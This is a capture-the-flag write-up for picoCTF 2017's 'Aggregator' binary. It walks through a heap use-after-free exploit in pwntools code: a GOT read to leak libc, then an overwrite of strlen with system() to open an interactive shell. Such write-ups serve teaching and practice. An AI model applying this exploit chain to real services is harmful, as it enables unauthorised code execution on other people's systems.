Skip to content

Latest commit

 

History

History

L4_aggregator

Folders and files

NameName
Last commit message
Last commit date

parent directory

..
 
 
 
 
 
 
 
 
 
 
 
 

Level 4 - Aggregator

Aggregator
I wrote a program to help me synthesize my log files. You can edit the log files to add annotations that will print out aggregated information. Because the original program that outputs the logs was a bit faulty, I also included the ability to clear a single day of logs. 
Find my aggregator running on shell2017.picoctf.com:9611. aggregator.c aggregator

 HINTS
Does it look like there is a stack vulnerability?

This is a Use After Free vulnerability, It took a long time to find it :(

Create an item on the heap Then free that item (memory is freed) Then create a new item on heap that isn't freed, by doing an invalid command Then trigger a Use After Free on that overwritten memory by doing an action

So we start by doing the allocating/freeing of a date entry, and then using an aggregate action

  year  = 1022
  month = 1
  day   = 1
  date = "%2.2d-%2.2d-%4.4d" %(month,day,year)
  date_monthyear = "%2.2d-%4.4d" %(month,year)

  #Add date with easily findable item number 
  add_date_mdy(r, date, 0x4141414142424242)
  remove_date_mdy(r, date)

  #Overwrite the area that is now freed, with an invalid command
  payload  = ''
  payload += 'A'*(5*8)
  create_aggregate(r, '+', date_monthyear)

Looking at the relevant aggregation code:

    while (ch != NULL) {
        if (ch->size > 0) {
            agg = ch->data[0];
            i = 1;
            break;
        }
        ch = ch->next;
    }

with the asm:

     0x400f87 <db_aggregate_month+101>    mov    rax, qword ptr [rax]
     0x400f8a <db_aggregate_month+104>    mov    qword ptr [rbp - 8], rax
     0x400f8e <db_aggregate_month+108>    mov    qword ptr [rbp - 0x10], 1
     0x400f96 <db_aggregate_month+116>    jmp    0x400fab                      <0x400fab>
     0x400f96 <db_aggregate_month+116>    jmp    0x400fab                      <0x400fab>
     0x400fab <db_aggregate_month+137>    jmp    0x400fff                      <0x400fff>
     0x400fff <db_aggregate_month+221>    cmp    qword ptr [rbp - 0x18], 0

where [rbp - 0x18] is the heap memory location of the invalid command we entered.

Keep stepping through:

     0x400fdd <db_aggregate_month+187>    mov    rax, qword ptr [rbp - 0x18]
     0x400fe1 <db_aggregate_month+191>    mov    rax, qword ptr [rax + 0x18]
     0x400fe5 <db_aggregate_month+195>    cmp    rax, qword ptr [rbp - 0x10]
     0x400fe9 <db_aggregate_month+199>    ja     db_aggregate_month+141        <0x400faf>

Here the pointer value to our invalid command is loaded into rax+0x18, and loaded back into RAX If the value at that location is above 1 ([rbp-0x10] = 0x1), then jump.

So the C code is expecting this struct at this location:

struct data_table_chain {
    data_t *data;
    day_t day;
    size_t capacity;
    size_t size;
    dbchain *next;
};

This is great, because it'll give us an arbitrary read primitive!

Modify our payload to:

  payload  = ''
  payload += p64(0x601f58) # GOT address of setvbuf
  payload += p64(0x000000) 
  payload += p64(0x0000FF) # ch->capacity
  payload += p64(0x000001) # ch->size
  payload += p64(0x000000) # ch->next... just null is fine...
    
  r.sendline(payload)

So we set the data pointer we want to read to an address in the GOT that points to libc. Then we read back the "aggregated" value. Which is just the address as an integer added to zero.

  r.recvline()
  leak = r.recvline(keepends=False)
  libc.address = int(leak) - libc.symbols['setvbuf']
  print "Libc base = %x" %(libc.address)
  print "Libc system() = %x" %(libc.symbols['system'])

Score... We're making progress.

Now how do we find an arbitrary write primitive... Lets see about doing the same trick with an update to an existing item? Start simple and see if we can get a crash

  year  = 1022
  month = 12
  day   = 12
  date = "%2.2d-%2.2d-%4.4d" %(month,day,year)
  date_monthyear = "%2.2d-%4.4d" %(month,year)

  #Add date with easily findable item number 
  add_date_mdy(r, date, 0x4141414142424242)
  remove_date_mdy(r, date)

  #Overwrite the area that is now freed, with an invalid command
  payload  = ''
  payload += p64(0x601f58) # GOT address of ...
  payload += p64(0xAAAAAA)
  payload += p64(0xBBBBBB)
  payload += p64(0xCCCCCC) 
  payload += p64(0xDDDDDD) 
  r.sendline(payload)

  add_date_mdy(r, date, 0x4141414142424242)

Great. This gets a segfault at chain_get+47. it uses the 0xDDDDDD+0x8 as a pointer. This makes sense, we saw that was the next pointer. So lets zero that one. Lets also set that location as a breakpoint:

  if args.dbg:
    gdb.attach(r, """
    vmmap
    b *chain_get+47
    """)

Now we look to see what's happening around the db_add() calling chain_get()

void db_add(db_t D, struct tm* when, data_t data_value) {
    ymon_t ymon = make_ymon(when->tm_year, when->tm_mon);
    day_t day = when->tm_mday;
    dbchain *ch = chain_get(D, ymon, day);
    if (ch == NULL) {
        ch = chain_add(D, ymon, day);
    }
    chain_append(ch, data_value);
}

chain_add() is a complicated function with lots of stuff in it. chain_append() seems more manageable

void chain_append(dbchain *ch, data_t data_value) {
    if (ch->size == ch->capacity) {
        ch->capacity = ch->capacity * 2;
        ch->data = xrealloc(ch->data, ch->capacity * sizeof(data_t));
    }
    ch->data[ch->size] = data_value;
    ch->size++;
}

Nice... So we just need a valid pointer for chain_get() to return a pointer to our structure. mmmm

dbchain *chain_get(db_t D, ymon_t y, day_t day) {
    dbchain *ch = chain_head(D, y);
    while (ch != NULL) {
        if (ch->day == day) {
            return ch;
        }
        ch = ch->next;
    }
    return NULL;
}

In chain_get() make sure we follow the right code path. This got me for a bit:

   0x400b15 <chain_get+47>    movzx  eax, byte ptr [rax + 8]
   0x400b19 <chain_get+51>    cmp    al, byte ptr [rbp - 0x20]
   0x400b1c <chain_get+54>    jne    chain_get+62                  <0x400b24>

I need to make sure that the second value in our struct is equal to the value of the day we used. Since we saw that ch->data[ch->size] = data_value; we need to make sure to subtract the location we want to write to with 8.

Now we just need to figure out what to overwrite. I usually look at what the input buffer pointer is passed to, if we want to use system() then we need it to be passed as the first argument somewhere:

Ah HA: right in main() the pointer with user input is passed to strlen()

    for (char *line_buffer = readline(); line_buffer != NULL; line_buffer = readline()) {
        size_t line_length = strlen(line_buffer);

So we need to overwrite strlen() in the GOT: 0x601f00 ([email protected]) —> 0x4007d6 (strlen@plt+6)

So lets try:

  #Overwrite the area that is now freed, with an invalid command
  payload  = ''
  payload += p64(0x601f00-8) # GOT address of strlen - 8
  payload += p64(0x0000000C) # This holds the day we used above
  payload += p64(0xFFFFFFFF) 
  payload += p64(0x00000001) # ch->size
  payload += p64(0x00000000) #

  r.sendline(payload)
 
  #Send value to overwrite the data pointer with
  add_date_mdy(r, date, libc.symbols['system'])
 
  r.sendline('/bin/sh -i') 
  # Drop to interactive console
  r.interactive()

And we have a shell :)

I had a fairly hard time spoting the UAF bug and didn't solve it in time to claim the 190 points.

Full exploit is checked in